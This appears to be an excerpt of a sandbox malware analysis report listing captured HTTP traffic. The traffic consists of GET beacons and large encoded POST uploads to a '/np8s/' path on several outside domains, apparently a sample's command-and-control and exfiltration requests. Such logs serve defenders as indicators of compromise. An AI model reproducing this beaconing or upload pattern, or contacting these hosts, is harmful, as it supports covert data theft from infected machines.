Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf HTTP/1.1Host: www.ratebill.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f HTTP/1.1Host: www.topings33.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 160.153.136.3 160.153.136.3

Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.jlbwaterdamagerepairseattle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6c 77 6d 4a 77 72 34 4a 34 34 74 39 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b 36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47 6c 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67 4c 73 65 51 42 38 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a 55 7a 5a 35 4e 75 72 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35 37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69 64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4c 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6c 70 51 77 2d 6e 50 39 51 36 48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66 30 43 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4c 79 41 34 76 4f 55 52 39 4f 75 58 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=S9TWzjT4m4xUVIjasG4q0rlwmJwr4J44t9Mv4KW9t9Nty1R81xt49FXF7Ev2pXB0(At7iK6qIVmv9sMSsnAop-V9SBv8VmbY5QcU(-iiKRVbGlQmNh81MMCiNW9ycEftIn~1jzIXisvRwiBUI5agLseQB8rm2tf1Nibc3-Js3v7p6NC-O37gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiGLyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNkOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDqVP5t0IkVg1A6HMszYmU8Jf0Cf8RYnvdbjxGwrKAkIzokAoLm9YI4g_LyA4vOUR9OuXD2zySQxJFGmHsg).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.jlbwaterdamagerepairseattle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 53 39 54 57 7a 69 75 7a 6f 6f 73 43 62 34 28 35 71 78 6f 2d 67 72 31 49 6c 35 30 30 32 6f 55 6a 37 66 6b 64 32 76 72 50 75 38 6b 77 6a 57 30 65 6a 44 64 67 39 46 48 67 33 57 62 36 34 6e 46 31 28 41 45 71 69 4b 32 71 4a 57 58 6b 7e 4e 63 30 74 46 59 70 72 65 56 46 54 42 75 34 52 6e 47 49 35 54 77 71 28 39 43 79 4b 43 52 62 46 44 63 6d 63 53 6b 45 50 73 43 6b 46 32 74 75 42 30 54 4b 49 6a 62 6f 6a 32 6f 58 69 63 6a 52 28 6a 78 56 41 65 4f 6e 66 73 66 61 58 73 72 37 73 64 6a 4c 4e 6b 48 45 33 5f 31 73 77 64 66 70 36 5a 79 2d 49 41 75 32 70 34 54 65 64 53 5a 54 6c 70 38 54 75 76 4c 70 39 4d 78 38 68 6a 71 7a 4c 73 44 6f 41 37 34 56 35 67 54 4c 53 6f 6e 49 7e 31 74 37 46 74 36 6c 42 6d 4b 68 32 6e 32 35 57 74 56 34 54 39 6f 6b 6b 77 55 6e 63 54 79 39 69 47 4c 43 7a 36 75 64 77 38 4e 5f 69 63 53 54 6e 39 4b 4d 35 74 64 67 31 37 50 55 28 37 47 79 54 4d 77 5f 4f 50 35 39 32 67 58 50 70 41 4d 2d 31 71 68 51 79 44 42 6f 4a 50 78 74 54 41 72 77 31 72 62 6b 44 71 55 69 35 76 64 4e 6b 43 6f 31 41 72 48 4d 76 52 41 6d 54 63 4a 66 78 43 66 69 66 34 71 6b 64 62 37 74 47 77 62 61 41 53 45 7a 6f 31 67 6f 4c 43 70 59 4c 49 67 5f 53 69 42 7a 76 63 39 65 36 39 32 63 4a 56 69 4b 4e 52 70 62 47 31 6a 34 34 46 49 51 28 68 62 42 59 33 70 57 39 42 6b 72 7e 65 78 36 52 4a 69 6f 7a 4e 79 57 36 30 66 67 54 38 41 52 61 72 76 36 76 4b 57 79 67 42 49 31 47 73 34 65 77 45 55 68 4a 52 7a 62 46 49 57 31 64 56 6a 2d 63 6f 64 4a 55 31 6c 42 65 79 70 4e 51 55 39 36 4d 4d 36 33 71 37 6c 4c 73 4c 7e 44 5a 4b 50 30 55 42 44 30 49 61 33 34 79 78 7a 4f 33 75 34 76 54 57 39 52 39 4f 6b 64 33 71 47 66 58 55 74 39 37 2d 53 30 51 57 58 52 38 50 48 6a 45 6b 4c 69 59 62 4d 4b 56 35 69 6c 61 4b 63 56 48 58 49 56 58 58 79 33 53 69 72 33 63 73 57 4c 69 70 70 4e 6e 42 64 69 38 6d 43 31 75 6e 43 49 53 70 54 6c 4f 6e 63 48 48 72 6c 4e 46 63 4c 68 47 51 4b 58 43 67 4f 71 47 63 30 55 4f 72 6d 63 49 65 34 74 56 6e 52 6d 76 59 54 30 66 47 6c 61 77 53 4b 4a 36 67 54 66 34 59 50 48 72 38 7a 71 7a 36 48 44 61 47 41 50 49 65 49 32 68 39 48 4d 44 62 4a 36 4a 31 41 6c 54 32 72 58 57 4f 56 49 72 41 4d 4d 66 48 7e 6d 69 6f 53 6a 36 69 44 4a 51 50 50 36 74 47 79 36 47 58 67 51 7e 2d 57 42 48 45 72 65 30 6b 75 32 4b 6e 4d 44 31 51 47 63 55 69 54 65 78 75 28 49 6a 64 65 56 56 6a 69 58 5a 6c 41 57 61 47 53 42 79 69 4b 4e 6b 33 55 68 72 41 35 73 55 73 7a 66 74 77 47 37 4c 6a 71 41 37 6f 62 4a 6c 44 79 66 46 6d 47 55 4a 75 34 4d 41 33 56 30 39 78 6f 58 6a 6d 33 49 74 47 77 52 59 6a 6f 5a 53 39 34 70 70 46 6d 4a 50 67 7a 61 36 36 59 6e 39 4c 63 70 73 52 64
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.localbloom.onlineConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.localbloom.onlineUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.localbloom.online/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6c 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66 51 5a 58 33 30 42 61 73 6c 52 6c 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44 79 68 4f 66 59 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67 4c 51 75 63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6c 53 39 35 77 70 36 69 55 67 64 4d 6c 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6c 46 41 6f 4f 78 76 28 6c 6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6c 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 72 56 36 46 54 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6c 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6c 4e 4f 71 34 4e 61 74 7a 44 51 48 43 43 73 41 72 44 34 30 49 34 6a 6c 65 56 66 58 79 37 58 53 7a 33 4a 72 74 4e 57 33 57 61 54 39 76 59 69 78 72 48 31 73 4d 44 36 7a 6a 45 56 59 54 51 6c 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6c 51 6c 69 72 34 49 71 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6c 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66 78 4c 65 44 46 43 35 67 79 70 42 6c 57 53 4c 44 38 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=hbQjEd7OUs1xlaFU6QGP1s3D3o95fQZX30BaslRltocEAh1uMgoEPFUaOKMckjNyDk~bDyhOfYQsFeR6xWU3CR9WFQhugjH7kh6UbtxZT2RgLQucYSOXJ5UuFXij(gacsLYJJIY6NU4OTtlS95wp6iUgdMlwKFdwyscPLPO98_Pgpa3VYgWmZlFAoOxv(ljK68QKj_TxCfIeaBqlfUYV58TKGC0MoRqISprV6FTwBWiD58BODaCM~lhEocEzFfzCTcXflNOq4NatzDQHCCsArD40I4jleVfXy7XSz3JrtNW3WaT9vYixrH1sMD6zjEVYTQlQ7cKGIoghdgKMkAhLlQlir4Iq~00fNACcq7(BxlVNC32I4qoUutDhkQ6bMzfxLeDFC5gypBlWSLD8pw).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.localbloom.onlineConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.localbloom.onlineUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.localbloom.online/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54 79 74 55 6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6c 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36 44 79 6c 4f 65 59 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64 67 4e 7a 47 63 4d 68 6d 63 55 4a 55 6b 5a 48 79 5f 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 59 6d 39 79 55 68 58 73 6c 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f 78 75 37 6c 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64 79 54 36 42 43 72 58 54 76 37 37 65 70 77 44 59 75 6d 79 6c 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6c 4e 65 71 34 4c 61 74 7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6c 37 71 36 6d 33 58 50 37 39 6e 62 4b 79 77 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6c 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6c 69 6b 59 49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6c 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a 7a 31 4f 38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49 28 36 4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6c 45 44 49 69 37 5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66 38 31 76 70 69 61 52 78 52 42 53 72 58 6c 66 68 73 6e 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30 48 43 45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6c 4e 49 6c 51 38 63 43 6d 32 51 44 4b 52 47 66 74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a 69 36 4a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b 38 75 66 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6c 57 6e 65 39 74 2d 45 77 30 58 66 53 74 4b 61 70 6c 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41 54 47 4c 37 59 30 35 68 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 51 46 65 30 2d 5a 45 6b 74 6e 57 65 45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6c 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51 37 55 30 6a 4d 6d 61 6b 6c 6e 74 6e 32 78 33 4c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32 43 31 64 77
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.brawlhallacodestore.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.brawlhallacodestore.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.brawlhallacodestore.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 64 68 78 6f 49 54 6a 33 67 6d 68 49 79 5a 4c 45 71 4b 6b 50 56 61 65 6f 58 59 48 59 4d 6c 74 7a 67 66 43 76 6d 4e 74 68 53 42 54 78 62 4a 4f 61 63 6e 74 51 62 67 4d 70 6a 75 62 61 7a 65 43 72 38 34 34 6c 55 54 49 50 58 51 32 7a 45 32 4f 4a 6a 30 6d 2d 48 63 53 52 6d 33 52 6f 72 66 71 79 56 7a 42 49 31 6a 68 4a 6e 56 50 6c 4c 36 64 33 4b 34 53 4f 30 74 74 32 77 58 54 6c 46 62 4c 62 42 36 46 71 51 51 6b 46 6a 6d 4b 49 58 64 39 37 51 63 57 4a 73 7a 7e 75 73 47 61 31 6f 66 45 44 53 58 7e 79 4b 42 28 5a 61 78 63 58 55 74 44 72 44 6d 52 5a 57 58 73 71 73 36 32 69 6e 57 74 5f 32 49 7e 59 4e 59 28 70 4a 76 7a 4f 5a 52 70 33 34 78 49 30 73 50 7e 57 6d 76 34 71 62 70 51 4f 38 49 4a 48 4a 75 63 30 42 73 6e 4a 71 39 33 55 78 45 4a 39 38 58 4e 73 31 4e 36 72 46 47 66 6e 61 61 6e 35 48 61 6e 2d 78 6f 43 6e 41 65 36 71 6d 33 38 4d 34 57 4c 38 33 35 33 65 78 4d 4f 4a 78 38 62 6e 64 61 68 4f 39 43 63 68 4d 75 59 6f 6e 49 4d 36 32 2d 59 68 45 66 6b 55 37 77 79 6e 43 62 4c 73 57 71 68 6c 6f 73 31 6d 4f 31 57 30 30 39 4c 55 4e 36 68 6c 41 34 59 4c 4d 30 67 4b 37 38 70 30 70 4c 68 32 56 63 6d 44 69 38 76 68 42 74 49 62 49 71 7a 6c 53 77 72 58 54 38 77 61 58 65 62 66 53 50 31 79 6b 57 4b 4f 51 2d 28 75 62 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=dhxoITj3gmhIyZLEqKkPVaeoXYHYMltzgfCvmNthSBTxbJOacntQbgMpjubazeCr844lUTIPXQ2zE2OJj0m-HcSRm3RorfqyVzBI1jhJnVPlL6d3K4SO0tt2wXTlFbLbB6FqQQkFjmKIXd97QcWJsz~usGa1ofEDSX~yKB(ZaxcXUtDrDmRZWXsqs62inWt_2I~YNY(pJvzOZRp34xI0sP~Wmv4qbpQO8IJHJuc0BsnJq93UxEJ98XNs1N6rFGfnaan5Han-xoCnAe6qm38M4WL8353exMOJx8bndahO9CchMuYonIM62-YhEfkU7wynCbLsWqhlos1mO1W009LUN6hlA4YLM0gK78p0pLh2VcmDi8vhBtIbIqzlSwrXT8waXebfSP1ykWKOQ-(ubQ).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.brawlhallacodestore.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.brawlhallacodestore.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.brawlhallacodestore.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 64 68 78 6f 49 52 47 73 39 46 6c 6a 38 73 54 33 72 63 78 47 65 4c 75 71 52 6f 44 64 4a 68 6c 61 6b 74 32 37 69 50 30 5a 54 45 58 76 66 35 37 36 4b 51 42 49 62 68 52 69 37 4e 76 67 30 2d 4f 6f 38 34 67 66 55 54 38 50 55 54 32 6a 45 52 4b 6e 69 58 4f 78 46 38 54 30 6e 33 51 75 39 61 79 50 56 7a 4d 64 31 67 42 5a 79 31 62 6c 4b 5a 31 33 62 62 4b 4a 36 74 74 34 34 33 43 38 4b 37 47 78 42 37 74 69 51 52 59 46 6a 57 4f 49 58 39 74 6b 45 72 43 4b 68 44 7e 72 70 47 61 73 6d 4f 35 77 53 58 7a 56 4b 42 7a 5a 61 43 6f 58 53 2d 37 72 46 58 52 61 43 58 73 76 6d 61 33 67 77 47 67 6a 32 49 69 71 4e 61 54 66 49 66 33 4f 49 78 70 79 70 53 5a 42 28 49 66 55 6b 72 35 43 62 70 63 6a 38 5a 55 59 4a 76 77 55 47 62 65 68 6f 62 6a 36 78 47 6c 62 77 58 4d 6c 36 74 37 70 46 47 66 68 61 61 6e 48 48 62 58 2d 78 76 32 6e 47 61 61 71 76 52 49 50 6e 57 4c 35 68 4a 32 44 31 4d 4c 6f 78 38 43 70 64 65 34 56 38 78 6f 68 57 62 38 6f 32 4e 67 35 7e 75 59 6a 46 66 6b 63 6b 41 79 6f 43 62 4c 46 57 76 4e 31 76 62 39 6d 63 33 7e 30 7a 65 6a 55 50 4b 68 6c 65 6f 59 4a 43 6b 74 58 37 38 78 77 70 4c 51 44 56 72 7e 44 69 76 33 68 42 49 6b 62 4a 36 7a 6c 48 41 71 46 64 34 70 49 62 75 48 42 52 2d 6c 32 38 45 6a 67 47 4b 32 37 4f 46 67 46 7e 59 72 5a 34 66 64 45 49 4b 4d 55 43 51 30 64 6f 30 39 78 6d 56 79 31 64 4f 6e 6d 68 4c 7e 4f 74 4e 4e 6f 28 59 6c 34 4c 50 4e 4c 55 50 31 6f 6f 4c 54 33 4b 7a 6c 36 41 53 45 68 49 72 69 37 6c 59 44 5a 6a 73 45 67 75 4e 57 30 5a 49 69 47 48 69 76 58 59 59 6f 4a 31 65 47 70 30 52 39 77 45 4d 42 38 49 52 6f 31 56 37 4f 56 47 51 30 34 65 30 69 5a 34 36 37 67 28 77 37 55 4f 53 33 30 56 59 57 6d 35 6e 4f 6f 78 36 47 44 64 5f 75 55 74 78 65 54 48 31 42 39 53 6b 70 50 41 79 5a 36 38 5a 55 77 37 61 4b 56 44 56 75 5f 4b 58 58 46 67 48 47 6c 79 78 68 49 54 54 4e 48 42 73 7e 64 36 76 6e 44 36 43 63 51 6c 52 4b 73 73 35 58 42 47 68 4d 4d 42 4a 61 67 79 71 32 74 6a 65 58 4b 70 47 56 51 32 43 47 38 42 56 46 79 42 55 58 54 7e 51 6a 43 61 33 4e 45 76 61 42 44 43 73 33 4c 30 4f 62 4f 71 76 6d 4d 61 58 39 52 73 7a 4d 5a 33 6a 30 37 59 39 57 77 28 75 63 45 4a 6f 6d 38 52 6d 6e 36 73 36 37 4d 70 56 7e 63 72 68 48 57 69 73 31 54 7a 35 76 59 32 53 69 41 6e 72 50 51 4e 64 43 46 76 72 6d 6f 6b 50 31 58 6c 36 53 5f 5a 74 38 31 55 68 6c 63 4d 59 4c 4f 54 49 52 67 7e 67 52 78 74 66 79 77 6c 4f 61 7a 39 77 41 71 41 6e 4e 4a 6a 74 39 61 48 77 72 6c 64 72 4c 4a 42 41 4a 47 49 79 67 45 59 68 28 34 67 5a 36 4b 52 65 34 48 6a 31 46 30 75 42 6c 46 6a 78 52 4b 73 41 47 4b 71 34 68 34 33 36 77 42 72 35 55 57 46 61 46 4c 79 69 67 42 6f 68 6f 47 71 70 49
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.pdwfifi.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.pdwfifi.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.pdwfifi.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 7e 4a 4c 69 37 73 45 78 62 34 72 33 6b 39 4b 7a 77 46 68 38 79 39 56 43 56 59 4b 36 62 59 78 75 49 56 34 78 33 6d 65 4a 48 6b 6d 35 36 46 43 5a 70 53 53 68 69 76 43 6a 4a 5f 76 2d 75 79 50 6e 44 75 33 45 35 6a 78 6c 52 61 6d 35 69 49 62 4a 6e 4b 7a 63 55 52 73 58 6f 73 37 61 46 63 69 51 52 4e 4c 68 6f 42 43 59 44 34 74 67 36 53 76 6c 4b 44 74 5a 77 2d 4f 45 77 4f 34 32 76 41 76 43 49 2d 64 67 49 6c 64 66 79 6e 75 4d 50 68 66 62 39 31 68 56 46 37 54 61 58 78 54 39 64 6b 6d 42 4c 63 28 71 65 36 31 46 36 4e 6c 71 72 6a 34 77 30 58 43 4e 66 71 6b 4c 73 4b 41 64 75 59 44 37 7e 38 6f 7a 45 37 71 65 51 67 57 32 44 4c 4b 52 77 43 4e 75 33 34 6a 2d 41 5f 49 56 72 4c 78 37 46 52 28 46 31 78 62 6e 53 68 69 44 6f 67 67 78 67 79 72 45 35 33 4e 76 30 63 47 53 77 78 4e 30 38 41 36 57 70 54 50 70 52 2d 55 51 49 39 5a 4d 43 4e 4b 55 41 63 68 58 6f 69 39 78 34 4a 64 70 55 6d 6c 67 57 36 36 36 44 66 4d 41 62 67 67 44 71 74 75 6b 48 65 49 78 56 37 46 4c 61 4c 47 4a 58 39 41 4a 5a 37 50 34 5a 2d 35 47 74 4c 50 59 7a 41 74 56 51 4f 75 54 51 33 31 55 78 73 77 73 6c 6b 6f 33 57 69 6c 39 4f 36 7a 6f 59 41 33 49 46 4d 4b 51 32 48 49 54 58 37 44 78 61 34 70 36 57 41 4c 72 62 45 39 72 64 75 68 4f 70 4b 4c 56 4c 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=~JLi7sExb4r3k9KzwFh8y9VCVYK6bYxuIV4x3meJHkm56FCZpSShivCjJ_v-uyPnDu3E5jxlRam5iIbJnKzcURsXos7aFciQRNLhoBCYD4tg6SvlKDtZw-OEwO42vAvCI-dgIldfynuMPhfb91hVF7TaXxT9dkmBLc(qe61F6Nlqrj4w0XCNfqkLsKAduYD7~8ozE7qeQgW2DLKRwCNu34j-A_IVrLx7FR(F1xbnShiDoggxgyrE53Nv0cGSwxN08A6WpTPpR-UQI9ZMCNKUAchXoi9x4JdpUmlgW666DfMAbggDqtukHeIxV7FLaLGJX9AJZ7P4Z-5GtLPYzAtVQOuTQ31Uxswslko3Wil9O6zoYA3IFMKQ2HITX7Dxa4p6WALrbE9rduhOpKLVLQ).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.pdwfifi.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.pdwfifi.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.pdwfifi.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 7e 4a 4c 69 37 70 38 64 43 4c 7e 78 67 64 48 54 39 53 78 6f 71 59 64 41 61 4a 7e 5f 47 70 63 77 66 33 41 62 71 58 4f 65 45 6c 65 76 72 46 32 34 69 78 69 35 69 71 7e 4f 64 63 4c 69 71 53 54 67 44 75 76 75 35 6a 39 6c 57 71 50 6e 69 70 4c 6a 6b 6f 72 64 51 78 73 6e 70 73 37 48 54 74 4f 39 52 4e 66 48 6f 42 62 41 44 4c 70 67 37 30 72 6c 62 55 35 65 30 65 4f 4f 39 75 4a 76 72 41 7a 66 49 2d 46 47 49 6b 68 66 79 58 79 4d 4f 43 48 61 31 55 68 61 43 72 54 66 53 78 54 6f 55 45 71 5f 4c 63 79 5f 65 37 6c 46 37 34 39 71 71 33 49 77 79 6c 71 4f 55 36 6b 43 6f 4b 41 41 71 64 61 6e 7e 38 30 4a 45 2d 47 6b 51 31 57 32 41 62 4b 51 36 78 73 64 77 76 33 70 47 5f 4d 69 72 4c 39 43 47 43 37 64 31 30 72 62 46 41 53 34 30 53 59 62 67 77 48 36 36 58 4e 72 67 4d 47 43 77 78 4e 41 38 41 37 46 70 53 28 70 52 38 30 51 4a 73 70 4d 4c 72 65 58 49 4d 68 57 6c 43 38 73 38 4a 52 73 55 6d 38 46 57 34 75 71 44 4e 49 41 62 30 38 44 73 50 32 6c 65 65 49 7a 57 37 46 6c 48 62 47 4d 58 39 41 72 5a 5f 61 6c 5a 4a 68 47 74 61 50 59 30 6c 78 56 53 65 75 54 65 58 31 57 37 4d 30 38 6c 6b 78 38 57 67 39 74 4f 74 44 6f 66 53 28 49 45 74 4b 51 79 33 49 54 44 4c 44 76 64 74 45 44 63 42 6a 61 4d 32 63 67 43 71 45 6d 69 61 4b 66 52 46 76 4c 34 59 63 63 6e 43 77 64 70 64 42 50 30 58 45 74 6b 75 58 56 6e 31 34 77 6f 71 7a 30 4f 56 70 39 76 69 59 55 6f 43 45 35 65 2d 57 5a 72 63 6c 4d 33 7a 75 4c 66 30 41 6d 32 39 52 5a 36 37 75 50 43 43 65 32 70 63 4d 38 58 69 73 5a 6d 32 72 43 42 38 42 51 38 31 6a 4e 37 70 68 43 58 35 35 33 50 6a 34 55 4a 4e 6e 50 37 47 4d 78 69 63 64 32 4f 67 76 39 32 68 4a 5a 7a 77 74 6d 42 4a 66 7a 59 4f 30 30 79 51 64 6a 70 36 28 42 47 31 30 6b 50 7a 61 65 76 48 77 52 70 5f 77 77 6a 2d 41 32 6f 34 47 72 33 39 38 74 68 36 50 2d 7a 42 44 2d 37 4f 70 79 34 7a 34 43 78 34 68 48 53 44 76 74 4f 54 6a 54 35 48 47 36 37 49 28 39 38 32 6d 78 33 37 72 6d 6b 67 36 6c 37 4a 78 75 7a 41 6d 31 4a 79 71 71 61 78 71 34 32 43 5a 6e 39 4e 6d 37 4a 7a 51 41 62 62 43 79 69 33 6d 77 28 31 6b 45 69 36 52 4e 52 6c 77 6d 5a 33 73 51 34 34 67 71 65 46 58 67 64 79 39 7a 55 71 41 56 49 64 6e 4e 39 